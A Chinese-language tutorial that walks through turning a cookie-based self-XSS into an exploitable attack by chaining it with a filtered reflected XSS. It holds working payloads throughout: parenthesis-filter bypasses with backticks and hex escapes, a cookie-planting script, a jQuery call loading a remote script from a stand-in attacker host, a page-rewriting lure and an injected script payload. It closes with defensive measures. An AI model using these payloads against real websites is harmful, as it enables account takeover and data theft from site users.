从Self-XSS到可利用的xss
字数 1553 2025-08-27 12:33:37
从Self-XSS到可利用XSS的完整利用链教学
1. 基础概念
1.1 Self-XSS
Self-XSS是一种需要用户自行在浏览器中执行恶意代码的跨站脚本漏洞。通常被认为危害较低,因为攻击者难以强制受害者执行特定操作。
1.2 反射型XSS
反射型XSS是指恶意脚本通过请求参数反射回页面中执行的漏洞,通常通过诱骗用户点击特制链接来利用。
1.3 基于Cookie的XSS
当网站将未经验证的用户输入存储在Cookie中并在页面中输出时,可能导致基于Cookie的XSS漏洞。
2. 初始漏洞发现
2.1 反射型XSS的发现
作者在目标网站中发现了一个反射型XSS,但存在以下限制:
- 圆括号被过滤,无法直接使用
alert(document.domain) - 使用反引号可以执行函数,但不能访问DOM对象
2.2 初始绕过技术
使用反引号代替圆括号执行函数:
alert`document.domain`
但这种形式无法真正访问DOM资源。
3. DOM访问绕过技术
3.1 使用setTimeout绕过
通过Brutelogic的建议,作者发现可以使用以下payload实现DOM访问:
setTimeout`alert\x28document.domain\x29`
这里的关键点:
- 使用
setTimeout函数 - 使用十六进制编码绕过圆括号限制(
\x28是"(",\x29是")")
3.2 十六进制编码的意义
十六进制编码可以绕过许多过滤机制,因为:
- 许多过滤器不会解码十六进制字符
- 浏览器仍能正确解析并执行编码后的字符
4. 从Self-XSS到可利用XSS的升级
4.1 发现基于Cookie的Self-XSS
作者发现子域名存在一个基于Cookie的Self-XSS:
- 一个base64编码的Cookie参数可导致XSS
- 但需要攻击者能设置用户的Cookie
4.2 利用已有XSS设置Cookie
使用反射型XSS作为入口点,通过JavaScript设置恶意Cookie:
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
4.3 外部脚本加载技术
由于payload长度限制,作者使用jQuery加载外部脚本:
$.getScript`//xss.example.com/xss.js`
这种方法:
- 利用网站已有的jQuery库
- 通过反引号语法避免使用圆括号
- 从外部域加载完整攻击脚本
5. 完整攻击链构造
5.1 攻击步骤
- 受害者访问包含反射型XSS的页面
- 反射型XSS执行代码加载外部脚本
- 外部脚本修改页面内容,诱导用户点击按钮
- 点击按钮设置恶意Cookie并重定向
- 重定向后的页面解析恶意Cookie,执行真正的XSS攻击
5.2 攻击代码分解
诱导界面代码:
$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
Cookie设置函数:
function setCookieRedir(){
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}
Base64解码后的payload:
--></script><script>alert(document.domain);//
这个payload:
- 闭合可能存在的HTML标签
- 插入新的script标签执行恶意代码
- 使用注释符避免影响后续HTML解析
6. 防御措施
6.1 针对反射型XSS
- 对所有用户输入进行严格过滤
- 实现内容安全策略(CSP)
- 对特殊字符进行编码输出
6.2 针对Cookie XSS
- 不要将用户可控数据存储在Cookie中
- 对Cookie值进行严格验证
- 设置HttpOnly标志防止JavaScript访问
6.3 针对DOM操作
- 避免使用
innerHTML等不安全DOM操作方法 - 使用
textContent代替innerHTML - 对动态生成的脚本内容进行严格审查
7. 总结
这个案例展示了如何将看似无害的Self-XSS升级为可利用的XSS攻击链,关键点包括:
- 利用反射型XSS作为初始攻击向量
- 绕过过滤机制的技术(反引号、十六进制编码)
- 使用已有库(jQuery)扩展攻击能力
- 通过设置Cookie将Self-XSS转化为可利用漏洞
- 分阶段执行攻击以绕过长度限制
这种攻击链的构造需要深入理解XSS的各种变种和绕过技术,同时也展示了即使"低危"漏洞在组合利用时也可能造成严重危害。